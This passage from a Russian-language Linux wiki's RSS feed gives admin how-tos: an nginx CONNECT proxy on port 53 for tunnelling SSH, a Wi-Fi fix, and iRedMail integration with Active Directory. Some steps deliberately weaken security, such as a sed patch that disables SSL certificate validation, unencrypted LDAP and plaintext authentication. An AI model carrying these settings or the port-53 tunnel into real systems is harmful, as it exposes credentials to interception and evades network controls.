wget https://ftp.pcre.org/pub/pcre/pcre-8.40.tar.gz &amp;amp;&amp;amp; tar xzvf pcre-8.40.tar.gz
wget http://www.zlib.net/zlib-1.2.11.tar.gz &amp;amp;&amp;amp; tar xzvf zlib-1.2.11.tar.gz
wget https://www.openssl.org/source/openssl-1.1.0f.tar.gz &amp;amp;&amp;amp; tar xzvf openssl-1.1.0f.tar.gz
rm -rf *.tar.gz
wget -O ngx_http_proxy_connect_module.zip https://github.com/chobits/ngx_http_proxy_connect_module/archive/master.zip
unzip ./ngx_http_proxy_connect_module.zip
cd nginx-1.12.2/
patch -p1 &amp;lt; ../ngx_http_proxy_connect_module-master/proxy_connect.patch
./configure --prefix=/usr/share/nginx \
--sbin-path=/usr/sbin/nginx \
--modules-path=/usr/lib/nginx/modules \
--conf-path=/etc/nginx/nginx.conf \
--error-log-path=/var/log/nginx/error.log \
--http-log-path=/var/log/nginx/access.log  \
--pid-path=/run/nginx.pid \
--lock-path=/var/lock/nginx.lock \
--user=www-data \
--group=www-data \
--build=Ubuntu \
--http-client-body-temp-path=/var/lib/nginx/body \
--http-fastcgi-temp-path=/var/lib/nginx/fastcgi \
--http-proxy-temp-path=/var/lib/nginx/proxy \
--http-scgi-temp-path=/var/lib/nginx/scgi \
--http-uwsgi-temp-path=/var/lib/nginx/uwsgi \
--with-openssl=../openssl-1.1.0f \
--with-openssl-opt=enable-ec_nistp_64_gcc_128 \
--with-openssl-opt=no-nextprotoneg \
--with-openssl-opt=no-weak-ssl-ciphers \
--with-openssl-opt=no-ssl3 \
--with-pcre=../pcre-8.40 \
--with-pcre-jit \
--with-zlib=../zlib-1.2.11 \
--with-compat \
--with-file-aio \
--with-threads \
--with-http_addition_module  \
--with-http_auth_request_module \
--with-http_dav_module \
--with-http_flv_module \
--with-http_gunzip_module \
--with-http_gzip_static_module \
--with-http_mp4_module \
--with-http_random_index_module \
--with-http_realip_module \
--with-http_slice_module \
--with-http_ssl_module \
--with-http_sub_module  \
--with-http_stub_status_module \
--with-http_v2_module \
--with-http_secure_link_module \
--with-mail \
--with-mail_ssl_module \
--with-stream \
--with-stream_realip_module \
--with-stream_ssl_module \
--with-stream_ssl_preread_module \
--with-debug \
--add-module=../ngx_http_proxy_connect_module-master/
make
sudo make install

sudo mkdir --parents /var/lib/nginx/body

&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;/etc/nginx/nginx.conf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;user  www-data;
worker_processes  1;

pid        /run/nginx.pid;

events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

server {
     listen                         53;

     # dns resolver used by forward proxying
     resolver                       192.168.77.1;

     # forward proxy for CONNECT request
     proxy_connect;
     proxy_connect_allow            22;
     proxy_connect_connect_timeout  10s;
     proxy_connect_read_timeout     99999s;
     proxy_connect_send_timeout     99999s;

     # forward proxy for non-CONNECT request
#     location / {
#         proxy_pass http://$host;
#         proxy_set_header Host $host;
#     }
 }
}&lt;/pre&gt;

&lt;p&gt;
На клиенте ssh устанавливаем &lt;strong&gt;proxytunnel&lt;/strong&gt; и в &lt;strong&gt;~/.ssh/config&lt;/strong&gt; пишем такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Host domain.com #адрес хоста который будет указан в команде подключения: ssh user@domain.com. Может быть ненастоящим. Реальный хост указывается в ProxyCommand
       DynamicForward 1080
       ProxyCommand proxytunnel -v -p autosys.tk:53 -d 127.0.0.1:22 # тут -p - указывает на адрес HTTP-прокси, а -d указывает на хост к которому подключемся (ресолвинг хоста происходит на HTTP-прокси)
       ServerAliveInterval 30&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 nginx&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_nginx&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;337-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>python_oauth2client_certificate_verify_failed_unable_to_get_local_issuer_certificate</title>
            <link>https://wiki.autosys.tk/linux_faq/python_oauth2client_certificate_verify_failed_unable_to_get_local_issuer_certificate</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При тестировании приложения, которе использует &lt;strong&gt;oauth2client&lt;/strong&gt; возникает ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-300&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;причина&quot;&gt;Причина&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Причина в том, что сервер, реализующий протокол &lt;strong&gt;OpenID&lt;/strong&gt; - &lt;strong&gt;Keycloak&lt;/strong&gt; развернут в локальной сети и использует сертификат, выпущенный корпоративным центром сертификации. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;301-630&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Так как я просто тестирую, то мне нужно отключить проверку сертификатов в &lt;strong&gt;oauth2client&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo sed -i &amp;#039;/return httplib2\.Http(\*args, \*\*kwargs)/ s/)/, disable_ssl_certificate_validation=True)/&amp;#039; /usr/local/lib/python3.7/dist-packages/oauth2client/transport.py&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;631-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 22 Nov 2019 11:58:15 +0000</pubDate>
        </item>
        <item>
            <title>realtek_appears_to_change_mode_expected_vht_found_ht_in_beacon</title>
            <link>https://wiki.autosys.tk/linux_faq/realtek_appears_to_change_mode_expected_vht_found_ht_in_beacon</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В ноуте &lt;strong&gt;Linux&lt;/strong&gt; ядро версии &lt;strong&gt;6.18.7&lt;/strong&gt;, wi-fi адаптер - &lt;strong&gt;MediaTek MT7925&lt;/strong&gt;. &lt;br/&gt;

При работе от батарейки и подключении к некоторым сетям быстро отключается с ошибками в логе ядра:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[97643.678118] wlp2s0: authenticate with 86:69:1a:42:77:97 (local address=a8:e2:91:16:2c:6a)
[97643.695532] wlp2s0: send auth to 86:69:1a:42:77:97 (try 1/3)
[97643.698888] wlp2s0: authenticated
[97643.700331] wlp2s0: associating to AP 86:69:1a:42:77:97 with corrupt beacon
[97643.700454] wlp2s0: associate with 86:69:1a:42:77:97 (try 1/3)
[97643.716898] wlp2s0: RX AssocResp from 86:69:1a:42:77:97 (capab=0x511 status=0 aid=2)
[97643.750393] wlp2s0: associated
[97643.770234] wlp2s0: VHT information is missing, disabling VHT
[97643.770246] wlp2s0: AP 86:69:1a:42:77:97 appears to change mode (expected VHT, found HT) in beacon, disconnect&lt;/pre&gt;

&lt;p&gt;
Кажется связано с энергосбережением. &lt;br/&gt;

С помощью TLP можно отключить энергосбережение WiFi - параметр &lt;strong&gt;WIFI_PWR_ON_BAT&lt;/strong&gt; &lt;br/&gt;

Также отключил &lt;strong&gt;USB_AUTOSUSPEND&lt;/strong&gt; &lt;br/&gt;

После стало лучше. 
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 29 Jan 2026 15:33:59 +0000</pubDate>
        </item>
        <item>
            <title>redmail_install_and_ad_config</title>
            <link>https://wiki.autosys.tk/linux_faq/redmail_install_and_ad_config</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;установка_iredmail_на_ubuntu_1404-minimal&quot;&gt;Установка iRedMail на Ubuntu 14.04-minimal&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Ставим то что нужно:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo su
apt-get update &amp;amp;&amp;amp; apt-get upgrade &amp;amp;&amp;amp; apt-get install bzip2 bsdutils&lt;/pre&gt;

&lt;p&gt;
Скачиваем и распаковываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://bitbucket.org/zhb/iredmail/downloads/iRedMail-0.9.2.tar.bz2 --no-check-certificate
tar xjf iRedMail-0.9.2.tar.bz2&lt;/pre&gt;

&lt;p&gt;
переходим в папку и запускаем инсталляцию (с правами &lt;strong&gt;root&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd iRedMail-0.9.2
bash iRedMail.sh&lt;/pre&gt;

&lt;p&gt;
при установке место для ящиков оставляем по-умолчанию, сервер - &lt;strong&gt;nginx&lt;/strong&gt;, &lt;strong&gt;backend&lt;/strong&gt; для аккаунтов - &lt;strong&gt;OpenLDAP&lt;/strong&gt;. &lt;br/&gt;

Дальше задаем пароли и указываем имена доменов. &lt;br/&gt;

Из компонент я ставил все, кроме &lt;strong&gt;SoGo&lt;/strong&gt;. &lt;br/&gt;

После установки перезагружаемся.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 iRedMail \u043d\u0430 Ubuntu 14.04-minimal&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_iredmail_\u043d\u0430_ubuntu_1404-minimal&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;3-958&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;интеграция_с_ad&quot;&gt;Интеграция с AD&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.iredmail.org/docs/active.directory.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.iredmail.org/docs/active.directory.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.iredmail.org/docs/active.directory.html&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Создаем в &lt;strong&gt;Active Directory&lt;/strong&gt; пользователя с минимальными правами &lt;strong&gt;vmail&lt;/strong&gt;. Проверяем что он может подключиться:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ldapsearch -x -h ad.example.com -D &amp;#039;vmail&amp;#039; -W -b &amp;#039;cn=users,dc=example,dc=com&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Тут &lt;strong&gt;ad.example.com&lt;/strong&gt; это имя контроллера домена.
На выходе должен быть список пользователей с аттрибутами.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f \u0441 AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f_\u0441_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;959-1511&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit3&quot; id=&quot;настройка_ad_для_postfix&quot;&gt;Настройка AD для Postfix&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Отключаем параметры, которые нам не нужны в данный момент:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;postconf -e virtual_alias_maps=&amp;#039;&amp;#039;
postconf -e sender_bcc_maps=&amp;#039;&amp;#039;
postconf -e recipient_bcc_maps=&amp;#039;&amp;#039;
postconf -e relay_domains=&amp;#039;&amp;#039;
postconf -e relay_recipient_maps=&amp;#039;&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Добавляем домен в список виртульных доменов.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;postconf -e smtpd_sasl_local_domain=&amp;#039;example.com&amp;#039;
postconf -e virtual_mailbox_domains=&amp;#039;example.com&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Прописываем файл настроек транспорта:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;postconf -e transport_maps=&amp;#039;hash:/etc/postfix/transport&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Прописываем файлы, в которых будет написано где в AD искать учетные записи разрешенных SMTP-отправителей, пользователей почты и почтовых групп:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;postconf -e smtpd_sender_login_maps=&amp;#039;proxy:ldap:/etc/postfix/ad_sender_login_maps.cf&amp;#039;
postconf -e virtual_mailbox_maps=&amp;#039;proxy:ldap:/etc/postfix/ad_virtual_mailbox_maps.cf&amp;#039;
postconf -e virtual_alias_maps=&amp;#039;proxy:ldap:/etc/postfix/ad_virtual_group_maps.cf&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Теперь создаем файлы настроек, прописанные в конфигурацию &lt;strong&gt;postfix&lt;/strong&gt; предыдущими командами.&lt;br/&gt;

&lt;br/&gt;

&lt;br/&gt;

&lt;strong&gt;/etc/postfix/transport&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;example.com dovecot&lt;/pre&gt;

&lt;p&gt;
 &lt;br/&gt;

Для работы нужно сконвертировать текстовый файл в файл &lt;strong&gt;db&lt;/strong&gt;, с которыми работает &lt;strong&gt;postfix&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /etc/postfix/
postmap ./transport&lt;/pre&gt;

&lt;p&gt;
В &lt;strong&gt;/etc/postfix/transport&lt;/strong&gt; прописан транспорт для домена. Определение транспорта &lt;strong&gt;dovecot&lt;/strong&gt; хранится в файле &lt;strong&gt;/etc/postfix/master.cf&lt;/strong&gt;.
&lt;br/&gt;

&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 AD \u0434\u043b\u044f Postfix&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_ad_\u0434\u043b\u044f_postfix&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1512-3355&amp;quot;} --&gt;
&lt;h4 class=&quot;sectionedit4&quot; id=&quot;фильтры_postfix&quot;&gt;Фильтры postfix&lt;/h4&gt;
&lt;div class=&quot;level4&quot;&gt;

&lt;p&gt;
Как это работает.
Когда &lt;strong&gt;postfix&lt;/strong&gt; получает письмо (входящее или исходящее), он должен проверить, можно ли его доставлять и куда. 
Командами &lt;strong&gt;postconf&lt;/strong&gt; мы прописали три фильтра, которые определяют разрешенных отправителей, виртуальные почтовые ящики для входящей почты и фильтры для групп.
&lt;/p&gt;

&lt;p&gt;
Первый фильтр - фильтр разрешенных отправителей. &lt;br/&gt;

Его добавили в файл &lt;strong&gt;/etc/postfix/main.cf&lt;/strong&gt; с помощью команды: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;postconf -e smtpd_sender_login_maps=&amp;#039;proxy:ldap:/etc/postfix/ad_sender_login_maps.cf&amp;#039;&lt;/pre&gt;

&lt;p&gt;
В этом файле указаны параметры &lt;strong&gt;домена&lt;/strong&gt; и &lt;strong&gt;OU&lt;/strong&gt; из которой брать пользователей, а также параметры фильтрации. На вход данного фильтра подается почтовый адрес отправителя письма. В данном случае через фильтр пройдут только объекты из &lt;strong&gt;cn=users,dc=example,dc=com&lt;/strong&gt; типа &lt;strong&gt;objectClass=person&lt;/strong&gt;, у которых аттрибут &lt;strong&gt;mail&lt;/strong&gt; будет равен значению поданному на вход фильтра &lt;strong&gt;%s&lt;/strong&gt;. &lt;br/&gt;

Вернет фильтр аттрибут &lt;strong&gt;mail&lt;/strong&gt; (строчка &lt;strong&gt;result_attribute=&lt;/strong&gt;), объекта &lt;strong&gt;AD&lt;/strong&gt;, удовлетворяющего фильтру &lt;strong&gt;query_filter=&lt;/strong&gt;. &lt;br/&gt;

Если возвращенное значение &lt;strong&gt;result_attribute=&lt;/strong&gt; соотвествует попавшему на вход фильтра &lt;strong&gt;%s&lt;/strong&gt;, то &lt;strong&gt;postfix&lt;/strong&gt; решает, что отправитель хороший. 
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;/etc/postfix/ad_sender_login_maps.cf&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;server_host     = dc01.example.com # Domain Controller Name or IP
server_port     = 389
version         = 3
bind            = yes
start_tls       = no
bind_dn         = vmail  # Учетка с правами чтения списка пользователей и групп домена с аттрибутами
bind_pw         = vmail_password # этой учеткиПароль 
search_base     = cn=users,dc=example,dc=com # Где искать пользователей в домене
scope           = sub
query_filter    = (&amp;amp;(objectClass=person)(mail=%s)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) 
result_attribute= mail
debuglevel      = 0&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;br/&gt;

&lt;strong&gt;/etc/postfix/ad_virtual_mailbox_maps.cf&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;server_host     = dc01.example.com # Domain Controller Name or IP
server_port     = 389
version         = 3
bind            = yes
start_tls       = no
bind_dn         = vmail # Учетка с правами чтения списка пользователей и групп домена с аттрибутами
bind_pw         = vmail_password # этой учеткиПароль 
search_base     = cn=users,dc=example,dc=com # Где искать пользователей и группы в домене
scope           = sub
query_filter    = (&amp;amp;(objectClass=person)(mail=%s)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) 
result_attribute= mail
result_format   = %d/%s/Maildir/
debuglevel      = 0&lt;/pre&gt;

&lt;p&gt;
Тут в параметре &lt;strong&gt;result_format&lt;/strong&gt; жестко прописывается формат пути к ящикам пользователей. В данном случае это &lt;strong&gt;%d&lt;/strong&gt; - имя домена, &lt;strong&gt;%s%&lt;/strong&gt; - имя ящика, которое подается на вход фильтра (может быть заменено на &lt;strong&gt;%u&lt;/strong&gt; - имя пользователя до @). То есть в результате для пользователя postmaster - &lt;strong&gt;example.com/postmaster@example.com/Maildir/&lt;/strong&gt;.
&lt;br/&gt;

&lt;br/&gt;

&lt;strong&gt;/etc/postfix/ad_virtual_group_maps.cf&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;server_host     = dc01.example.com # Domain Controller Name or IP
server_port     = 389
version         = 3
bind            = yes
start_tls       = no
bind_dn         = vmail # Учетка с правами чтения списка пользователей и групп домена с аттрибутами
bind_pw         = vmail_password # этой учетки Пароль 
search_base     = cn=users,dc=example,dc=com # Где искать пользователей и группы в домене
scope           = sub
query_filter    = (&amp;amp;(objectClass=group)(mail=%s))
special_result_attribute = member
leaf_result_attribute = mail  # Без этого параметра в списке адресов группы будет и адрес самой группы
result_attribute= mail # какой аттрибут возвращаем
debuglevel      = 0&lt;/pre&gt;

&lt;p&gt;
В файле &lt;strong&gt;/etc/postfix/main.cf&lt;/strong&gt; удалить строки типа &lt;strong&gt;check_policy_service inet:127.0.0.1:&lt;/strong&gt;. Это указания на обработку писем разными политиками. Бывает полезно, если письма не приходят, а в журнале &lt;strong&gt;/var/log/mail.log&lt;/strong&gt; сообщения типа &lt;strong&gt;Recipient address rejected: Greylisting in effect, please come back later;&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0424\u0438\u043b\u044c\u0442\u0440\u044b postfix&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0444\u0438\u043b\u044c\u0442\u0440\u044b_postfix&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:9,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3356-8635&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit5&quot; id=&quot;настройка_ad_для_dovecot&quot;&gt;Настройка AD для dovecot&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Файл &lt;strong&gt;/etc/dovecot/dovecot-ldap.conf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;hosts           = domain_controller_name:389
ldap_version    = 3
auth_bind       = yes
dn              = vmail
dnpass          = vmail_password
base            = cn=users,dc=example,dc=com
scope           = subtree
deref           = never

user_filter     = (&amp;amp;(userPrincipalName=%u)(objectClass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
pass_filter     = (&amp;amp;(userPrincipalName=%u)(objectClass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
pass_attrs      = userPassword=password
default_pass_scheme = CRYPT
user_attrs      = =home=/var/vmail/vmail1/%Ld/%Ln/Maildir/,=mail=maildir:/var/vmail/vmail1/%Ld/%Ln/Maildir/&lt;/pre&gt;

&lt;p&gt;
Если у вас есть сертификат SSL для POP3, то путь к нему надо указать в &lt;strong&gt;/etc/dovecot/dovecot.conf&lt;/strong&gt;, а если нет, то нужно отключить обязательное использование SSL.
Для этого в &lt;strong&gt;/etc/dovecot/dovecot.conf&lt;/strong&gt;задаем значения для двух параметров: &lt;strong&gt;ssl = yes&lt;/strong&gt; (вместо required) и &lt;strong&gt;disable_plaintext_auth = no&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
Рестарт dovecot:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;service dovecot restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 AD \u0434\u043b\u044f dovecot&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_ad_\u0434\u043b\u044f_dovecot&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:13,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;8636-9904&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit6&quot; id=&quot;если_адрес_почтового_ящика_не_соотвествует_имени&quot;&gt;Если адрес почтового ящика не соотвествует имени&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Конфигурация, описаннная выше работает, если имя входа и имя ящика совпадают. Но что если это не так?. Например имя входа &lt;strong&gt;user@domain.com&lt;/strong&gt;, а ящик - &lt;strong&gt;user.id@domain.com&lt;/strong&gt;. 
&lt;/p&gt;

&lt;p&gt;
Значит нужно переписать фильтр в &lt;strong&gt;/etc/postfix/ad_virtual_mailbox_maps.cf&lt;/strong&gt;: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;server_host     = dc01.example.com # Domain Controller Name or IP
server_port     = 389
version         = 3
bind            = yes
start_tls       = no
bind_dn         = vmail # Учетка с правами чтения списка пользователей и групп домена с аттрибутами
bind_pw         = vmail_password # этой учеткиПароль 
search_base     = cn=users,dc=example,dc=com # Где искать пользователей и группы в домене
scope           = sub
query_filter    = (&amp;amp;(objectclass=person)(mail=%s))
result_attribute= mail
result_format   = %d/%u/Maildir/
debuglevel      = 0&lt;/pre&gt;

&lt;p&gt;
А &lt;strong&gt;/etc/dovecot/dovecot-ldap.conf&lt;/strong&gt; должен выглядеть так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;hosts           = dc01.example.com:389
ldap_version    = 3
auth_bind       = yes
dn              = vmail
dnpass          = vmail_password
base            = cn=users,dc=example,dc=com
scope           = subtree
deref           = never

user_filter = (&amp;amp;(mail=%u)(objectClass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
pass_filter     = (&amp;amp;(mail=%u)(objectClass=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
pass_attrs      = mail=user,userPassword=password
default_pass_scheme = CRYPT
user_attrs      = =home=/var/vmail/vmail1/%Ld/%Ln/Maildir/,=mail=maildir:/var/vmail/vmail1/%Ld/%Ln/Maildir/&lt;/pre&gt;

&lt;p&gt;
Тут в &lt;strong&gt;user_filer&lt;/strong&gt; меняем &lt;strong&gt;userPrincipalName=%u&lt;/strong&gt; на &lt;strong&gt;mail=%u&lt;/strong&gt;, а в &lt;strong&gt;pass_attrs&lt;/strong&gt; добавляем &lt;strong&gt;mail=user&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
Рестарт dovecot:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;service dovecot restart&lt;/pre&gt;

&lt;p&gt;
При этом, логиниться в web-интерейс надо по имени ящика.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0415\u0441\u043b\u0438 \u0430\u0434\u0440\u0435\u0441 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u0433\u043e \u044f\u0449\u0438\u043a\u0430 \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043c\u0435\u043d\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0435\u0441\u043b\u0438_\u0430\u0434\u0440\u0435\u0441_\u043f\u043e\u0447\u0442\u043e\u0432\u043e\u0433\u043e_\u044f\u0449\u0438\u043a\u0430_\u043d\u0435_\u0441\u043e\u043e\u0442\u0432\u0435\u0441\u0442\u0432\u0443\u0435\u0442_\u0438\u043c\u0435\u043d\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:15,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;9905-12074&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;интеграция_roundcube_в_ad&quot;&gt;Интеграция RoundCube в AD&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Редактируем файлик &lt;strong&gt;/opt/www/roundcubemail/config/config.inc.php&lt;/strong&gt;:
В нижней части файлика приводим раздел &lt;strong&gt;Global LDAP address book&lt;/strong&gt; к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;// Global LDAP address book.
$config[&amp;#039;ldap_public&amp;#039;][&amp;quot;global_ldap_abook&amp;quot;] = array(
    &amp;#039;name&amp;#039;          =&amp;gt; &amp;#039;Global LDAP Address Book&amp;#039;,
    &amp;#039;hosts&amp;#039;         =&amp;gt; array(&amp;#039;DC.your.domain.com&amp;#039;),
    &amp;#039;port&amp;#039;          =&amp;gt; 389,
    &amp;#039;use_tls&amp;#039;       =&amp;gt; false,
    &amp;#039;ldap_version&amp;#039;  =&amp;gt; &amp;#039;3&amp;#039;,
    &amp;#039;network_timeout&amp;#039; =&amp;gt; 10,
    &amp;#039;user_specific&amp;#039; =&amp;gt; false,

    // Search mail users under same domain.
